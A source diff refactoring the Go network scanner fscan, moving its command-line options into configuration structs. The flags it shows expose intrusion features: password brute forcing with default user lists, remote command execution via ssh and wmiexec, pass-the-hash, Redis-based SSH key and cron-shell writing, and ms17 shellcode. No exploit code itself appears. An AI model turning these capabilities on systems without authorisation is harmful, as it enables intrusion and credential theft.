if !strings.Contains(flags.Socks5Proxy, ":") {
flags.Socks5Proxy = "socks5://127.0.0.1" + flags.Socks5Proxy
} else {
Socks5Proxy = "socks5://" + Socks5Proxy
flags.Socks5Proxy = "socks5://" + flags.Socks5Proxy
}
}
if Socks5Proxy != "" {
fmt.Println("Socks5Proxy:", Socks5Proxy)
_, err := url.Parse(Socks5Proxy)
if flags.Socks5Proxy != "" {
fmt.Println("Socks5Proxy:", flags.Socks5Proxy)
_, err := url.Parse(flags.Socks5Proxy)
if err != nil {
fmt.Println("Socks5Proxy parse error:", err)
os.Exit(0)
}
NoPing = true
flags.NoPing = true
}
if Proxy != "" {
if Proxy == "1" {
Proxy = "http://127.0.0.1:8080"
} else if Proxy == "2" {
Proxy = "socks5://127.0.0.1:1080"
} else if !strings.Contains(Proxy, "://") {
Proxy = "http://127.0.0.1:" + Proxy
if flags.Proxy != "" {
if flags.Proxy == "1" {
flags.Proxy = "http://127.0.0.1:8080"
} else if flags.Proxy == "2" {
flags.Proxy = "socks5://127.0.0.1:1080"
} else if !strings.Contains(flags.Proxy, "://") {
flags.Proxy = "http://127.0.0.1:" + flags.Proxy
}
fmt.Println("Proxy:", Proxy)
if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") {
fmt.Println("Proxy:", flags.Proxy)
if !strings.HasPrefix(flags.Proxy, "socks") && !strings.HasPrefix(flags.Proxy, "http") {
fmt.Println("no support this proxy")
os.Exit(0)
}
_, err := url.Parse(Proxy)
_, err := url.Parse(flags.Proxy)
if err != nil {
fmt.Println("Proxy parse error:", err)
os.Exit(0)
}
}
if Hash != "" && len(Hash) != 32 {
if flags.Hash != "" && len(flags.Hash) != 32 {
fmt.Println("[-] Hash is error,len(hash) must be 32")
os.Exit(0)
} else {
var err error
HashBytes, err = hex.DecodeString(Hash)
flags.HashBytes, err = hex.DecodeString(flags.Hash)
if err != nil {
fmt.Println("[-] Hash is error,hex decode error")
os.Exit(0)
@ -214,13 +215,13 @@ func ParseInput(Info *HostInfo) {
}
}
func ParseScantype(Info *HostInfo) {
_, ok := PORTList[Scantype]
func ParseScantype(Info *HostInfo, flags *Flags) {
_, ok := PORTList[flags.Scantype]
if !ok {
showmode()
}
if Scantype != "all" && Info.Ports == DefaultPorts+","+Webport {
switch Scantype {
if flags.Scantype != "all" && Info.Ports == DefaultPorts+","+Webport {
switch flags.Scantype {
case "wmiexec":
Info.Ports = "135"
case "wmiinfo":
@ -244,10 +245,10 @@ func ParseScantype(Info *HostInfo) {
case "main":
Info.Ports = DefaultPorts
default:
port, _ := PORTList[Scantype]
port, _ := PORTList[flags.Scantype]
Info.Ports = strconv.Itoa(port)
}
fmt.Println("-m ", Scantype, " start scan the port:", Info.Ports)
fmt.Println("-m ", flags.Scantype, " start scan the port:", Info.Ports)
}
}

View File

@ -23,11 +23,11 @@ var ParseIPErr = errors.New(" host parsing error\n" +
"192.168.1.1-192.168.255.255\n" +
"192.168.1.1-255")
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
func ParseIP(hostPort *[]string, host string, filename string, nohosts ...string) (hosts []string, err error) {
hosts = ParseIPs(host)
if filename != "" {
var filehost []string
filehost, _ = Readipfile(filename)
filehost, _ = readipfile(hostPort, filename)
hosts = append(hosts, filehost...)
}
@ -55,7 +55,7 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e
}
}
hosts = RemoveDuplicate(hosts)
if len(hosts) == 0 && len(HostPort) == 0 && host != "" && filename != "" {
if len(hosts) == 0 && len(*hostPort) == 0 && host != "" && filename != "" {
err = ParseIPErr
}
return
@ -115,6 +115,7 @@ func parseIP2(host string) (hosts []string) {
}
// 解析ip段: 192.168.111.1-255
//
// 192.168.111.1-192.168.112.255
func parseIP1(ip string) []string {
IPRange := strings.Split(ip, "-")
@ -175,19 +176,22 @@ func IPRange(c *net.IPNet) string {
}
// 按行读ip
func Readipfile(filename string) ([]string, error) {
func readipfile(hostPort *[]string, filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
fmt.Printf("Open %s error, %v", filename, err)
os.Exit(0)
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
var content []string
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" {
var hosts []string
text := strings.Split(line, ":")
if len(text) == 2 {
port := strings.Split(text[1], " ")[0]
@ -195,14 +199,14 @@ func Readipfile(filename string) ([]string, error) {
if err != nil || (num < 1 || num > 65535) {
continue
}
hosts := ParseIPs(text[0])
hosts = ParseIPs(text[0])
for _, host := range hosts {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
*hostPort = append(*hostPort, fmt.Sprintf("%s:%s", host, port))
}
} else {
host := ParseIPs(line)
content = append(content, host...)
hosts = ParseIPs(line)
}
content = append(content, hosts...)
}
}
return content, nil

View File

@ -1,6 +1,5 @@
package common
var version = "1.8.2"
var Userdict = map[string][]string{
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
"mysql": {"root", "mysql"},
@ -42,7 +41,6 @@ var PORTList = map[string]int{
"main": 0,
}
var Outputfile = "result.txt"
var IsSave = true
var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880"
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
@ -52,6 +50,7 @@ type HostInfo struct {
Ports string
Url string
Infostr []string
HostPort []string // locks like dead varibale, I cannot file initialization of this variable
}
type PocInfo struct {
@ -59,56 +58,8 @@ type PocInfo struct {
PocName string
}
var (
Path string
Scantype string
Command string
SshKey string
Domain string
Username string
Password string
Proxy string
Timeout int64 = 3
WebTimeout int64 = 5
TmpSave bool
NoPing bool
Ping bool
Pocinfo PocInfo
IsWebCan bool
IsBrute bool
RedisFile string
RedisShell string
Userfile string
Passfile string
HostFile string
PortFile string
PocPath string
Threads int
URL string
UrlFile string
Urls []string
NoPorts string
NoHosts string
SC string
PortAdd string
UserAdd string
PassAdd string
BruteThread int
LiveTop int
Socks5Proxy string
Hash string
HashBytes []byte
HostPort []string
IsWmi bool
)
var (
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
DnsLog bool
PocNum int
PocFull bool
CeyeDomain string
ApiKey string
Cookie string
)

View File

@ -2,84 +2,118 @@ package common
import (
"flag"
"runtime"
"runtime/debug"
"time"
)
func init() {
go func() {
for {
GC()
time.Sleep(10 * time.Second)
}
}()
// todo make function
type Flags struct {
Path string
Scantype string
Command string
SshKey string
Domain string
Username string
Password string
Proxy string
Timeout int64
WebTimeout int64
NoPing bool
Ping bool
Pocinfo PocInfo
IsWebCan bool
IsBrute bool
RedisFile string
RedisShell string
Userfile string
Passfile string
HostFile string
PortFile string
PocPath string
Threads int
URL string
UrlFile string
Urls []string
NoPorts string
NoHosts string
SC string
PortAdd string
UserAdd string
PassAdd string
BruteThread int
LiveTop int
Socks5Proxy string
Hash string
HashBytes []byte
IsWmi bool
PocNum int
PocFull bool
DnsLog bool
}
func GC() {
runtime.GC()
debug.FreeOSMemory()
// todo make function
type LogConfig struct {
Silent bool
Outputfile string
TmpSave bool
WaitTime int64
}
func Banner() {
banner := `
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: ` + version + `
`
print(banner)
type InConfig struct {
HostInfo HostInfo
Flags Flags
LogConfig LogConfig
Cookie string
}
func Flag(Info *HostInfo) {
Banner()
flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user")
flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password")
flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445")
flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)")
flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)")
flag.StringVar(&Domain, "domain", "", "smb domain")
flag.StringVar(&Username, "user", "", "username")
flag.StringVar(&Password, "pwd", "", "password")
flag.Int64Var(&Timeout, "time", 3, "Set timeout")
flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh")
flag.StringVar(&Path, "path", "", "fcgi、smb romote file path")
flag.IntVar(&Threads, "t", 600, "Thread nums")
flag.IntVar(&LiveTop, "top", 10, "show live len top")
flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt")
flag.StringVar(&Userfile, "userf", "", "username file")
flag.StringVar(&Passfile, "pwdf", "", "password file")
flag.StringVar(&PortFile, "portf", "", "Port File")
flag.StringVar(&PocPath, "pocpath", "", "poc file path")
flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)")
flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)")
flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul")
flag.BoolVar(&IsBrute, "nobr", false, "not to Brute password")
flag.IntVar(&BruteThread, "br", 1, "Brute threads")
flag.BoolVar(&NoPing, "np", false, "not to ping")
flag.BoolVar(&Ping, "ping", false, "using ping replace icmp")
flag.StringVar(&Outputfile, "o", "result.txt", "Outputfile")
flag.BoolVar(&TmpSave, "no", false, "not to save output log")
flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr")
flag.BoolVar(&Silent, "silent", false, "silent scan")
flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key")
flag.StringVar(&URL, "u", "", "url")
flag.StringVar(&UrlFile, "uf", "", "urlfile")
flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
flag.StringVar(&Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work")
flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")
flag.Int64Var(&WebTimeout, "wt", 5, "Set web timeout")
flag.BoolVar(&DnsLog, "dns", false, "using dnslog poc")
flag.IntVar(&PocNum, "num", 20, "poc rate")
flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add")
flag.BoolVar(&IsWmi, "wmi", false, "start wmi")
flag.StringVar(&Hash, "hash", "", "hash")
func Flag(inConfig *InConfig) {
flag.StringVar(&inConfig.HostInfo.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
flag.StringVar(&inConfig.HostInfo.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
flag.StringVar(&inConfig.Flags.NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
flag.StringVar(&inConfig.Flags.PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
flag.StringVar(&inConfig.Flags.UserAdd, "usera", "", "add a user base DefaultUsers,-usera user")
flag.StringVar(&inConfig.Flags.PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password")
flag.StringVar(&inConfig.Flags.NoPorts, "pn", "", "the ports no scan,as: -pn 445")
flag.StringVar(&inConfig.Flags.Command, "c", "", "exec command (ssh|wmiexec)")
flag.StringVar(&inConfig.Flags.SshKey, "sshkey", "", "sshkey file (id_rsa)")
flag.StringVar(&inConfig.Flags.Domain, "domain", "", "smb domain")
flag.StringVar(&inConfig.Flags.Username, "user", "", "username")
flag.StringVar(&inConfig.Flags.Password, "pwd", "", "password")
flag.Int64Var(&inConfig.Flags.Timeout, "time", 3, "Set timeout")
flag.Int64Var(&inConfig.Flags.WebTimeout, "wt", 5, "Set web timeout")
flag.StringVar(&inConfig.Flags.Scantype, "m", "all", "Select scan type ,as: -m ssh")
flag.StringVar(&inConfig.Flags.Path, "path", "", "fcgi、smb romote file path")
flag.IntVar(&inConfig.Flags.Threads, "t", 600, "Thread nums")
flag.IntVar(&inConfig.Flags.LiveTop, "top", 10, "show live len top")
flag.StringVar(&inConfig.Flags.HostFile, "hf", "", "host file, -hf ip.txt")
flag.StringVar(&inConfig.Flags.Userfile, "userf", "", "username file")
flag.StringVar(&inConfig.Flags.Passfile, "pwdf", "", "password file")
flag.StringVar(&inConfig.Flags.PortFile, "portf", "", "Port File")
flag.StringVar(&inConfig.Flags.PocPath, "pocpath", "", "poc file path")
flag.StringVar(&inConfig.Flags.RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)")
flag.StringVar(&inConfig.Flags.RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)")
flag.BoolVar(&inConfig.Flags.IsWebCan, "nopoc", false, "not to scan web vul")
flag.BoolVar(&inConfig.Flags.IsBrute, "nobr", false, "not to Brute password")
flag.IntVar(&inConfig.Flags.BruteThread, "br", 1, "Brute threads")
flag.BoolVar(&inConfig.Flags.NoPing, "np", false, "not to ping")
flag.BoolVar(&inConfig.Flags.Ping, "ping", false, "using ping replace icmp")
flag.StringVar(&inConfig.Flags.URL, "u", "", "url")
flag.StringVar(&inConfig.Flags.UrlFile, "uf", "", "urlfile")
flag.StringVar(&inConfig.Flags.Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
flag.IntVar(&inConfig.Flags.PocNum, "num", 20, "poc rate")
flag.StringVar(&inConfig.Flags.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
flag.StringVar(&inConfig.Flags.Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work")
flag.StringVar(&inConfig.Flags.SC, "sc", "", "ms17 shellcode,as -sc add")
flag.BoolVar(&inConfig.Flags.IsWmi, "wmi", false, "start wmi")
flag.StringVar(&inConfig.Flags.Hash, "hash", "", "hash")
flag.BoolVar(&inConfig.Flags.PocFull, "full", false, "poc full scan,as: shiro 100 key")
flag.BoolVar(&inConfig.Flags.DnsLog, "dns", false, "using dnslog poc")
flag.StringVar(&inConfig.LogConfig.Outputfile, "o", "result.txt", "Outputfile")
flag.BoolVar(&inConfig.LogConfig.TmpSave, "no", false, "not to save output log")
flag.Int64Var(&inConfig.LogConfig.WaitTime, "debug", 60, "every time to LogErr")
flag.BoolVar(&inConfig.LogConfig.Silent, "silent", false, "silent scan")
flag.StringVar(&inConfig.Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")
flag.Parse()
}

View File

@ -2,11 +2,12 @@ package common
import (
"fmt"
"github.com/fatih/color"
"os"
"strings"
"sync"
"time"
"github.com/fatih/color"
)
var Num int64
@ -18,6 +19,7 @@ var LogErrTime int64
var WaitTime int64
var Silent bool
var LogWG sync.WaitGroup
var Outputfile string
func init() {
LogSucTime = time.Now().Unix()

View File

@ -2,43 +2,47 @@ package common
import (
"errors"
"golang.org/x/net/proxy"
"net"
"net/url"
"strings"
"time"
"golang.org/x/net/proxy"
)
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
d := &net.Dialer{Timeout: timeout}
return WrapperTCP(network, address, d)
type Socks5 struct {
Address string
}
func WrapperTCP(network, address string,forward * net.Dialer) (net.Conn, error) {
func WrapperTcpWithTimeout(network, address string, socks5Proxy Socks5, timeout time.Duration) (net.Conn, error) {
d := &net.Dialer{Timeout: timeout}
return WrapperTCP(network, address, socks5Proxy, d)
}
func WrapperTCP(network, address string, socks5Proxy Socks5, forward *net.Dialer) (net.Conn, error) {
//get conn
var conn net.Conn
if Socks5Proxy == "" {
if socks5Proxy.Address == "" {
var err error
conn,err = forward.Dial(network, address)
conn, err = forward.Dial(network, address)
if err != nil {
return nil, err
}
}else {
dailer, err := Socks5Dailer(forward)
if err != nil{
} else {
dailer, err := Socks5Dailer(forward, socks5Proxy)
if err != nil {
return nil, err
}
conn,err = dailer.Dial(network, address)
conn, err = dailer.Dial(network, address)
if err != nil {
return nil, err
}
}
return conn, nil
}
func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) {
u,err := url.Parse(Socks5Proxy)
func Socks5Dailer(forward *net.Dialer, socks5Proxy Socks5) (proxy.Dialer, error) {
u, err := url.Parse(socks5Proxy.Address)
if err != nil {
return nil, err
}
@ -51,10 +55,10 @@ func Socks5Dailer(forward * net.Dialer) (proxy.Dialer, error) {
if u.User.String() != "" {
auth = proxy.Auth{}
auth.User = u.User.Username()
password,_ := u.User.Password()
password, _ := u.User.Password()
auth.Password = password
dailer, err = proxy.SOCKS5("tcp", address, &auth, forward)
}else {
} else {
dailer, err = proxy.SOCKS5("tcp", address, nil, forward)
}

11
main.go
View File

@ -2,17 +2,18 @@ package main
import (
"fmt"
"time"
"github.com/shadow1ng/fscan/Plugins"
"github.com/shadow1ng/fscan/common"
"time"
)
func main() {
start := time.Now()
var Info common.HostInfo
common.Flag(&Info)
common.Parse(&Info)
Plugins.Scan(Info)
var config common.InConfig
common.Flag(&config)
common.Parse(&config)
Plugins.Scan(config.HostInfo, config.Flags)
t := time.Now().Sub(start)
fmt.Printf("[*] 扫描结束,耗时: %s\n", t)
}